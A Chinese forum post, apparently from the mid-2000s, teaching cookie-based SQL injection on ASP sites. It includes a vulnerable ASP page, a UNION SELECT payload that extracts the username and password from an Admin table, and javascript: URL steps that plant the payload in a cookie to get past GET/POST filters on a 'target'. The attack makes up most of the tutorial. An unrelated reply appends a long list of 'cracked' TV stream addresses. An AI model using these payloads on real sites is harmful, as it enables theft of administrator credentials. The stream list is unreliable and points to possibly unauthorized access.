注入必备：Cookie与联合查询

具体的原理与分析过程我就不写了，写起来一大片，大家看的心烦我写的头痛，我就讲操作过程中的细节。隐私报告里设置处需要接受所有的cookie将安全降低。

cookie值是连接后才保存到本机的，也就是关IE后.

前提条件：

一、网站没有过滤cookie方式的注入。
二、需事前了解数据库的管理员表段名，计算一下注入文件数据库查询语句在数据库中的列数。
打开数据库,找到Product这个表名，计算字段数为21个。管理员表名为admin 用户与密码字段名为username、password，呵呵没有注入文件，我们可以自己构造一个测试方便大家的理解。


构造如下简单注入ASP，当然我没作什么严格的过滤，也就是接受任何方式的提交。.

以下是代码片段： <!--#include file="Inc/conn.asp" -->   //调用数据库连接文件 <% dim ID,sql,rs   //定义函数 ID=trim(request("ID"))   //接受任何形式的提交去空 if Id="" then   //id为空的跳转   response.Redirect("Product.asp") end if sql="select * from Product where ID=" & ID & ""   //记录集查询语句 Set rs= Server.CreateObject("ADODB.Recordset")   //调用查询语句，跳到记录集id所在的指针 rs.open sql,conn,1,3   //增加记录的表达方式 1,3可读写, 乐观锁定 if rs.bof and rs.eof then   //提示 BOF 或 EOF，程序出错判断   response.Write("<p>找不到此产品</p>") else %> <p><%=rs("Title")%></p>   //反回指针处的内容，选取的字段与管理员的用户密码类型要相同 <p><%=rs("product_id")%></p> <p><%=rs("Price")%></p> <% end if rs.close //清空 set rs=nothing call CloseConn %>

找前图中的ID=55


构造联合查询语句
and 1=2 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21 from Admin 将6，2分别用username、password替换


来试试cookie注入。找个目标，注入点结构与前面相近就不再分析了,仅过滤了post与get注入.

步骤一：重新打开IE，先连接到需注入的网站http://127.0.0.1/nf，也就是去除前面的链接值。注意:不要直接在前面图中的链接处操作,可以会不成功噢。
步骤二：清空地址处IE，再次在地址中加入如下
javascript:alert(documents.cookie="id="+escape("56 and 1=2 union select 1,
2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21 from Admin"))
再次清空IE打入http://127.0.0.1/nf/ProductShow.asp


步骤四：重复步骤一.注意此步骤必需操作,很多人失败就在这里。
步骤五：清空地址处IE，再次在地址中如下代码
javascript:alert(documents.cookie="id="+escape("56 and 1=2 union select 1,
username,3,4,5,6,password,8,9,10,11,12,13,14,15,16,17,18,19,20,21 from Admin"))


步骤六、再次清空地址处IE。http://127.0.0.1/nf/ProductShow.asp


好了全文结束。尽可能的多写文章与大家分享吧

这个发得太好了！！我们可以在网上看世界杯了 。我告诉大家地址------2006电视地址破解收集：2006电视地址破解收集

CCTV-1 综合频道(450k) mms://live1.cnnb.com.cn/startv
CCTV-1 综合频道(500k) mms://61.155.44.132/cctv1
CCTV-1 新闻频道 mms://live.cctv.com/live1
CCTV新闻（128k) mms://winmedia.cctv.com.cn/live1
CCTV新闻（500k) mms://live1.cnnb.com.cn/channelv
CCTV2(450k) mms://61.155.44.132/cctv2
CCTV2 mms://winmedia.cctv.com.cn/live2
CCTV-4 国际频道 mms://220.175.6.130/TV21/
CCTV4(128k) mms://winmedia.cctv.com.cn/live
CCTV4 mms://live.cctv.com/live
CCTV-5 体育频道 mms://220.189.220.87/cctv5
CCTV-7 军农少频道 rtsp://218.22.10.163/broadCast/cctv7
CCTV8 mms://218.69.107.40//湖南卫视/live
CCTV-9 英语频道（1） mms://live.cctv.com/live3
CCTV-9 英语频道（2） mms://winmedia.cctv.com.cn/live3

宁波都市文化 mms://vod1.nbtv.com.cn/nbtv3
宁波经济频道 mms://vod1.nbtv.com.cn/nbtv2
宁波影视频道 mms://vod1.nbtv.com.cn/nbtv4
金华新闻综合 mms://61.153.35.38/PublishingPoint1
温州新闻综合 mms://202.107.219.58/wztv1
温州经济生活 mms://202.107.219.58/wztv2
浙江公共电视 mms://ztv7.zrtg.com:1095/
浙江卫星电视 mms://video3.zjol.com.cn/ztv
浙江教育科技 mms://218.108.49.123:3340/
浙江少儿频道 mms://61.175.162.21/ztv8
浙江影视娱乐 mms://61.175.162.22/ztv5

广州美在花城 mms://219.136.240.2/beauty
广州短剧频道 mms://219.136.240.2/gzdj
珠海综合频道 mms://www.zhtv.com/airshow
潮州新闻综合 mms://219.131.159.153/cztv1
潮州公共频道 mms://219.131.159.152/cztv2
炫动卡通卫视 http://202.109.80.136/channel15

山西卫星电视 rtsp://218.26.3.81/encoder/SHANXITV_1.rm
山西新闻综合 rtsp://218.26.3.80/encoder/SHANXITV_3.rm
山西都市频道 rtsp://218.26.3.81/encoder/SHANXITV_2.rm
山西影视频道 rtsp://218.26.3.80/encoder/SHANXITV_4.rm
西安白鸽都市 mmst://live2.xatvs.com/Station1
西安新闻综合 mmst://live1.xatvs.com/Station1
陕西新闻综合 mms://Vod.sxtvs.com/live4
陕西都市青春(1) mms://Vod.sxtvs.com/live1
陕西都市青春(2) mms://Vod.sxtvs.com/live3
安康综合频道 mms://61.150.111.204/news

荆州新闻综合 rtsp://61.232.208.50/broadcast/xinwen/xinwen.rm
荆州精彩频道 rtsp://61.232.208.50/broadcast/jingcai/jingcai.rm
荆州公共频道 rtsp://61.232.208.50/broadcast/gonggong/gonggong.rm
成都综合频道 rtsp://vod.chengdutv.com/encoder/live.rm

海南旅游卫视 mms://218.77.178.156/LIVECAM1
海南新闻综合 mms://218.77.178.156/LIVECAM2
海南影视娱乐 mms://218.77.178.158/LIVECAM4
海南公共频道 mms://218.77.178.158/LIVECAM6
海南少儿频道 mms://218.77.178.158/LIVECAM7

无锡都市资讯 rtsp://v.thmz.com/tv-2
无锡综合频道 rtsp://v.thmz.com/tv-1
徐州公共频道 mms://218.3.205.10/徐州广播电视网_公共频道
徐州新闻频道 mms://218.3.205.10/徐州广播电视网_新闻综合
徐州经济生活 mms://218.3.205.10/徐州广播电视网_经济生活
徐州文化影视 mms://218.3.205.10/徐州广播电视网_文艺影视
常州新闻频道 mms://vod1.cztv.tv/cztv1
常州都市频道 mms://vod1.cztv.tv/cztv2
常州影视频道 mms://vod1.cztv.tv/cztv3
常州公共 rtsp://vod1.cztv.tv/cztv4
江苏影视频道 mms://vod.jsgd.com.cn/jsys.jsgd
江苏城市频道 mms://vod.jsgd.com.cn/city.jsgd
江苏综艺频道 mms://vod.jsgd.com.cn/video1.jsgd
江苏靓装频道 mms://vod.jsgd.com.cn/lzpd
江苏南京文体频道 rtsp://live.njbg.com.cn/broadcast/O3.rm
江苏卫星电视 mms://vod.jsgd.com.cn/jsws.jsgd
江苏少儿频道 mms://vod.jsgd.com.cn/jsse.jsgd
江苏国际频道 mms://vod.jsgd.com.cn/jsgj.jsgd

天津影视频道 mms://221.238.193.6/tj3
天津文化娱乐 mms://221.238.193.6/tj2
天津少儿频道 mms://221.238.193.6/tj7
天津经济生活 mms://221.238.193.6/tj1
天津卫视频道 mms://221.238.193.6/tj8
天津卫视频道 mms://221.238.193.6/tj6
天津都市频道 mms://221.238.193.6/tj4
天津体育频道 mms://221.238.193.6/tj5

安徽卫视 mms://218.22.14.85/live1
安徽经济生活 mms://218.22.14.85/live2
淮南综合频道 mms://202.102.208.42/live1
淮南第二频道 mms://202.102.208.42/live2
淮南第三频道 mms://202.102.208.42/live3

江西导视频道 mms://movie.jxgdw.com/tvzn
江西公共频道 rtsp://movie.jxgdw.com/jswjxtv5
江西影视频道 rtsp://movie.jxgdw.com/jswjxtv4
江西卫星频道 mms://movie.jxgdw.com/jswjxgdwjxtv
江西经济频道 mms://220.175.6.130/TV40/
江西都市频道 mms://220.175.6.130/TV41/
江西教育频道 mms://movie.jxgdw.com/jxjy
鹰潭新闻综合 mms://movie.ytgdw.com/ytgd/yttv/xwzh

玉溪公共频道 rtsp://v2.yxtv.cn/encoder/yxtv-21.rm
玉溪综合频道 rtsp://v2.yxtv.cn/encoder/yxtv-11.rm

山东齐鲁频道 http://202.102.188.43/qltv
山东公共频道 http://202.102.188.43/ggtv
山东综合频道 http://202.102.188.43/zhtv
山东体育频道 http://202.102.188.43/zhtv
山东公共 http://202.102.188.43/ggtv
山东新综 http://202.102.188.43/zhtv

上海东方音乐(368k) mms://218.19.175.167:1755/stv4
上海东方卫视(368k) mms://218.19.175.167:1755/stv
上海文艺频道(368k) mms://218.19.175.167:1755/stv5
上海新闻娱乐(368k) mms://218.19.175.167:1755/stv7
上海新闻综合(368k) mms://218.19.175.167:1755/stv1
上海生活时尚(368k) rtsp://218.15.56.101:1755/stv6
上海第一财经(368k) mms://218.19.175.167:1755/stv2
上海电视剧(368k) mms://218.15.56.101:1755/stv8
上海体育频道(368k) mms://218.19.175.167:1755/stv3

郑州电视一台 rtsp://219.150.142.5/zztv1
郑州电视二台 rtsp://219.150.142.5/zztv2
郑州电视三台 rtsp://219.150.142.5/zztv3
郑州电视四台 rtsp://219.150.142.5/zztv4

湖南卫视频道 mms://218.69.107.40//cctv2/live
湖北卫视 mms://219.140.163.36/zbws
广西卫视 mms://mov11.n169.com/广西-20051209
丽水一台 mms://202.96.114.251/lstv
丽水二台 mms://202.96.114.251/lstv2
陕西体育健康频道 mms://Vod.sxtvs.com/live2
珠海电视 mms://www.zhtv.com/airshow
河南南阳电视 mms://61.136.113.41/nytv_1
重庆卫星频道 mms://218.201.44.232/ccqtv
厦门海峡卫视 mms://218.5.65.171/hx
盘山新闻综合频道 mms://219.149.86.98:8888

星空卫视(1)mms://220.170.199.249/xk
星空卫视(2)mms://222.47.122.127/litv06
星空卫视(网通1）mms://218.69.107.40//星空卫视/live
星空卫视(网通2）mms://218.69.107.45/星空卫视/live
凤凰卫视中文台（1） mms://222.47.122.127/litv01
凤凰卫视中文台（2） mmst://219.151.3.10/channelv
凤凰卫视中文台（3） mms://218.67.245.10/凤凰中文/live
凤凰咨询台（1） mms://222.77.180.5:554/Lchinavnet_phzb01
凤凰咨询台（2） mms://218.30.119.102:554/Lchinavnet_phzb01
凤凰咨询台（3） mms://218.1.69.165:554/Lchinavnet_phzb01
大爱电视台(300k) mms://210.59.147.3/wmtencoder/300k.wmv
阳光卫视 rtsp://222.47.122.127/litv04
游戏玩家频道（450k)mms://220.130.8.253:8080
中华电视台(300k) mms://vod1.cts.com.tw/Cts100
佛卫慈悲台(100k) mms://61.222.239.122:1140
好消息卫视(120k) mms://mark.goodtv.com.tw/NLive
交通电视台(141) mms://video.ftv.com.tw/fmtv
V音乐台(1) mms://218.69.107.40/卫视电影/live
V音乐台(2) mms://222.47.122.127/litv02
美亚电影 mms://live1.cnnb.com.cn/meiya
原住民电视 mms://4.19.71.132/itv-200
年代购物台 mms://203.69.41.22/rose
富邦购物台 http://203.69.41.24/momo

上海体育频道(1) mms://218.19.175.167:1755/stv3
上海体育频道(2) rtsp://218.15.56.101:1755/stv3
CCTV5(1)星空转播 mms://cctv5.tzinfo.net/cctv
CCTV5 (2) mms://60.18.129.179/live2
卫视体育频道(1) rtsp://222.47.122.127/litv08
上海东方卫视(512k) http://218.19.175.165:80/4_VNET_stv
天津体育频道(450k) mms://221.238.193.6/tj5
江苏体育频道(450k) mms://vod.jsgd.com.cn/jsty.jsgd
宁波文体频道(450) mms://live1.cnnb.com.cn/nbtv3
C N 8体育频道 mms://68.87.109.4/cn8winmedia
湖北体育频道 mms://219.140.163.36/zbty
足球频道(1) mms://219.136.254.119/350a
足球频道(2) mms://winmedia.cctv.com.cn/live1

音乐现场频道 mms://218.1.70.8:1755/XinLiRenSheng
音乐无限频道 mms://218.1.70.8:1755/YinYueWuXian
上海电视剧台 mms://218.15.56.101:1755/stv8
徐州影视频道 mms://218.3.205.10/徐州广播电视网_文艺影视
江苏影视频道 mms://vod.jsgd.com.cn/jsys.jsgd
浙江影视频道 mms://61.175.162.21/ztv5
江苏综艺频道 mms://vod.jsgd.com.cn/video1.jsgd
常州影视频道 mms://vod1.cztv.tv/cztv3
江西影视频道 mms://218.64.55.171/jswjxtv4
天津影视频道 mms://211.148.164.152/tj3
娱乐快递频道 mms://218.1.70.200/YuLeKuaiDi
网络电影频道(1) mms://livemms.online2.sh.cn/JingPinYingYuan
网络电影频道(2)mms://61.185.209.254:1755/station1
CCTV影院频道 mms://218.1.70.72:1755/OnIndexPage
海南影视娱乐 mms://218.77.178.158/LIVECAM4
宁波影视频道 mms://vod1.nbtv.com.cn/nbtv4
南京影视 rtsp://live.njbg.com.cn/broadcast/O2.rm
互联星空MTV mms://218.30.64.14/live

WMTV mms://146.101.200.150/WAMTV